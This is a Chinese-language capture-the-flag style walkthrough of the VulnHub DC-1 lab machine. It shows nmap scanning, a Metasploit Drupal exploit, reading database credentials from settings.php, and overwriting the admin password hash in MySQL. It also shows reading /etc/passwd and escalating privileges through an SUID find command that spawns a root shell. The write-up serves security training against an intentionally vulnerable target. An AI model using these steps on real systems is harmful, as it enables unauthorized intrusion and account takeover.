vulnhub靶机练习——DC1

https://www.vulnhub.com/entry/dc-1,292/

导入到vmware

image-20230714013631847

信息收集

法一:

kali里使用netdiscover发现主机

image-20230714015437045

法二:

查看本机ip

image-20230714014114885

nmap扫描靶机ip

1
nmap -sS 192.168.247.135/24

image-20230714014341712

通过nmap寻找到靶机的地址为192.168.247.136

开启了
22端口,ssh服务
80,http服务
111,RPC服务(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。常见的RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等等。

得知

**渗透机:kali IP :192.168.247.135 **
靶机IP :192.168.247.136

对靶机更深入扫描

1
nmap -A -sV --min-parallelism 200 192.168.247.136

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

image-20230714014720046

或者

nmap -sS -sV -A -n 192.168.247.136

漏洞发现

首先80端口,就意味着可以访问他的网站,访问看看

image-20230714014830937

发现采用的是Drupal的cms

可以进行dirsearch目录爆破

image-20230714015251159

image-20230714020145462

通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞

首先要了解一下Drupal,Drupal是开源CMS之一,Drupal是CMS内容管理系统,并且在世界各地使用,受到高度赞赏,Drupal可以作为开源软件免费使用,就是附带了cms的php开发框架。

搜了一下相关的drupal 漏洞 打开msf 看一下有哪些具体的模块可以使用

1
2
msfconsole		//启动msfconsole
search drupal //搜索与drupal有关的漏洞

image-20230714015528136

使用第一个

1
2
3
4
use 1
set rhosts 192.168.247.136 //设置成靶机的ip
run
getuid //查看权限

image-20230714015801865

image-20230714015838106

发现权限为www-data

漏洞利用

进入后渗透模块 ls 查看 有1个flag1.txt cat一下

image-20230714020244418

上网搜索一下drupal的配置文件

image-20230714020418295

1
/sites/default/settings.php

image-20230714022732323

Brute force and dictionary attacks aren’t the

暴力破解和字典攻击不是

only ways to gain access (and you WILL need access).

只有获得访问权限的方法(你将需要访问权限)。

What can you do with these credentials?

你能用这些证书做什么?

使用netstat -anptl查看3306是否开放,结果只允许本地连接

image-20230714022807146

接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20230714022849400

连接数据库

1
mysql -u dbuser -pR0ck3t
1
2
3
4
5
show databases; ##列出数据库

use drupaldb; ##使用drupaldb库

show tables; ##查看里面的表

image-20230714023424104

image-20230714023753562

注意到名为users的表,查看一下

1
select * from user; //查询users表中所有数据

image-20230714023849170

通过查询users表中的账号得知admin的密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。

获取加密脚本

经过查找,发现网站的目录下有一个scripts的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh的脚本文件,该文件应该就是密码的加密脚本了。

image-20230714024153338

将管理员密码修改成admin对应的密文

找到脚本后去网站根目录执行脚本

1
2
cd /var/www
./scripts/password-hash.sh admin

image-20230714024405141

将admin加密后得到的是$S$DXPPK1GAWOTNKG2I.3h272a4oEBHcjMltgvziy77Q581JAUKVBrY

得到了加密后的密码,就可以进入数据库修改密码啦  

1
2
3
mysql -udbuser -pR0ck3t 		//连接数据库
use drupaldb; //选择drupaldb库
update users set pass='$S$DXPPK1GAWOTNKG2I.3h272a4oEBHcjMltgvziy77Q581JAUKVBrY' where name='admin'; //更新密码

image-20230714024539635

成功登入网站

回到开始的网站上用刚刚的账户密码admin:admin 登陆进去

点击Dashboard发现flag3,点击即可获取

image-20230714024715570

image-20230714024723724

提示passwd,在etc目录下发现passwd文件

1
cat /etc/paasswd

image-20230714025001248

flag4

1
2
CopyCan you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

明示提权

提权

使用find命令查找有特殊权限suid的命令:find / -perm -4000

或者

find / -user root -perm -4000 -print 2>/dev/null

image-20230714025210051

使用find命令提权

1
find ./ aaa -exec '/bin/sh' \;

image-20230714025322074

如果不提权

image-20230714025441397